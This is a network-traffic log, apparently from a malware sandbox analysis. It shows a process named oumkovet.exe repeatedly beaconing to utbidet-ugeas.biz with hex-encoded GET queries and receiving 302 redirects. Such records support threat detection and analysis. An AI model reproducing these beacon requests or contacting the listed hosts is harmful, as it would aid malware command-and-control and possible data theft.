Sep 8, 2024 08:41:12.511583090 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:41:12 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0229279E242D279E241B27B62429274DB8A1249A6228275E8C2B22A80A1B09A7161917B024 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.5	49831	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:41:12.519593000 CEST	201	OUT	GET /d/N?0229279E242D279E241B27B62429274DB8A1249A6228275E8C2B22A80A1B09A7161917B024 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:41:13.018398046 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:41:12 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0229279E242D279E241B27B62429274DB8A1249A6228275E8C2B22A80A1B09A7161917B024 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.5	49833	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:41:14.693523884 CEST	169	OUT	GET /d/N?028EBB08B88ABB08B8BCBB20B88EBBDB2406B80CFE8FBBC8108CBE3E96BC95318ABE8B26B8 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:41:15.177953005 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:41:15 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?028EBB08B88ABB08B8BCBB20B88EBBDB2406B80CFE8FBBC8108CBE3E96BC95318ABE8B26B8 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.5	49834	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:41:15.183784962 CEST	201	OUT	GET /d/N?028EBB08B88ABB08B8BCBB20B88EBBDB2406B80CFE8FBBC8108CBE3E96BC95318ABE8B26B8 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:41:15.671554089 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:41:15 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?028EBB08B88ABB08B8BCBB20B88EBBDB2406B80CFE8FBBC8108CBE3E96BC95318ABE8B26B8 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.5	58491	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:41:21.402110100 CEST	169	OUT	GET /d/N?0270FA064C74FA064C42FA2E4C70FAD5D0F8F9020A71FAC6E472FF306242D43F7E40CA284C HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:41:21.912843943 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:41:21 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0270FA064C74FA064C42FA2E4C70FAD5D0F8F9020A71FAC6E472FF306242D43F7E40CA284C Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.5	58492	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:41:21.923556089 CEST	201	OUT	GET /d/N?0270FA064C74FA064C42FA2E4C70FAD5D0F8F9020A71FAC6E472FF306242D43F7E40CA284C HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:41:22.416954041 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:41:22 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0270FA064C74FA064C42FA2E4C70FAD5D0F8F9020A71FAC6E472FF306242D43F7E40CA284C Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.5	54706	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:41:24.096178055 CEST	169	OUT	GET /d/N?029AD45BF19ED45BF1A8D473F19AD4886D12D75FB79BD49B5998D16DDFA8FA62C3AAE475F1 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:41:24.588855982 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:41:24 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?029AD45BF19ED45BF1A8D473F19AD4886D12D75FB79BD49B5998D16DDFA8FA62C3AAE475F1 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.5	54707	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:41:24.595186949 CEST	201	OUT	GET /d/N?029AD45BF19ED45BF1A8D473F19AD4886D12D75FB79BD49B5998D16DDFA8FA62C3AAE475F1 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:41:25.084697962 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:41:25 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?029AD45BF19ED45BF1A8D473F19AD4886D12D75FB79BD49B5998D16DDFA8FA62C3AAE475F1 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.5	49283	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:41:31.786485910 CEST	169	OUT	GET /d/N?02C2424DC1C6424DC1F04265C1C2429E5D4A414987C3428D69C0477BEFF06C74F3F27263C1 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:41:32.272655010 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:41:32 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02C2424DC1C6424DC1F04265C1C2429E5D4A414987C3428D69C0477BEFF06C74F3F27263C1 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.5	49284	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:41:32.280921936 CEST	201	OUT	GET /d/N?02C2424DC1C6424DC1F04265C1C2429E5D4A414987C3428D69C0477BEFF06C74F3F27263C1 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:41:32.772223949 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:41:32 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02C2424DC1C6424DC1F04265C1C2429E5D4A414987C3428D69C0477BEFF06C74F3F27263C1 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.5	49286	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:41:32.933629990 CEST	169	OUT	GET /d/N?0259C57B615DC57B616BC5536159C5A8FDD1C67F2758C5BBC95BC04D4F6BEB425369F55561 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:41:33.413642883 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:41:33 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0259C57B615DC57B616BC5536159C5A8FDD1C67F2758C5BBC95BC04D4F6BEB425369F55561 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.5	49287	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:41:33.426673889 CEST	201	OUT	GET /d/N?0259C57B615DC57B616BC5536159C5A8FDD1C67F2758C5BBC95BC04D4F6BEB425369F55561 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:41:33.912195921 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:41:33 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0259C57B615DC57B616BC5536159C5A8FDD1C67F2758C5BBC95BC04D4F6BEB425369F55561 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.5	53512	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:41:36.323982954 CEST	169	OUT	GET /d/N?025A7B66115E7B6611687B4E115A7BB58DD27862575B7BA6B9587E503F68555F236A4B4811 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:41:36.831553936 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:41:36 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?025A7B66115E7B6611687B4E115A7BB58DD27862575B7BA6B9587E503F68555F236A4B4811 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.5	53513	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:41:36.838983059 CEST	201	OUT	GET /d/N?025A7B66115E7B6611687B4E115A7BB58DD27862575B7BA6B9587E503F68555F236A4B4811 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:41:37.340284109 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:41:37 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?025A7B66115E7B6611687B4E115A7BB58DD27862575B7BA6B9587E503F68555F236A4B4811 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.5	53515	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:41:37.497562885 CEST	169	OUT	GET /d/N?0292D8E8BD96D8E8BDA0D8C0BD92D83B211ADBECFB93D8281590DDDE93A0F6D18FA2E8C6BD HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:41:37.991286993 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:41:37 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0292D8E8BD96D8E8BDA0D8C0BD92D83B211ADBECFB93D8281590DDDE93A0F6D18FA2E8C6BD Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.5	53516	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:41:38.008308887 CEST	201	OUT	GET /d/N?0292D8E8BD96D8E8BDA0D8C0BD92D83B211ADBECFB93D8281590DDDE93A0F6D18FA2E8C6BD HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:41:38.506745100 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:41:38 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0292D8E8BD96D8E8BDA0D8C0BD92D83B211ADBECFB93D8281590DDDE93A0F6D18FA2E8C6BD Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.5	53518	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:41:43.495899916 CEST	169	OUT	GET /d/N?02C3BA0D26C7BA0D26F1BA2526C3BADEBA4BB90960C2BACD8EC1BF3B08F1943414F38A2326 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
